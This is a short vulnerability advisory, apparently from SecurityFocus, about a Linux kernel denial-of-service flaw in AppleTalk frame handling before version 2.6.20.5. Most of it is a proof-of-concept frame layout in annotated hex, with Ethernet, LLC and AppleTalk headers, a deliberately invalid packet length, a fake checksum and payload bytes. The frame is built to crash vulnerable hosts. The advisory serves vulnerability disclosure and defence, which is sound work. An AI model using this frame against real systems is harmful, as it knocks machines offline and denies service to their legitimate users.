32 lines
No EOL
739 B
Text
32 lines
No EOL
739 B
Text
source: https://www.securityfocus.com/bid/23376/info
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The Linux kernel is prone to a denial-of-service vulnerability. This issue presents itself when malformed AppleTalk frames are processed.
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An attacker can exploit this issue to crash host computers, effectively denying service to legitimate users.
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Versions prior to 2.6.20.5 are vulnerable.
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{
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# Ethernet header -----
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XX XX XX XX XX XX # Destination MAC
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00 00 00 00 00 00 # Source MAC
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00 1D # Length
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# LLC header -----
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AA AA 03
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08 00 07 80 9B # Appletalk
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# Appletalk header -----
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00 1B # Packet length (invalid)
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00 01 # Fake checksum
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00 00 00 00 # Destination and source networks
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00 00 00 00 # Destination and source nodes and ports
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# Payload -----
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0C 0D 0E 0F 10 11 12 13
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14
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} |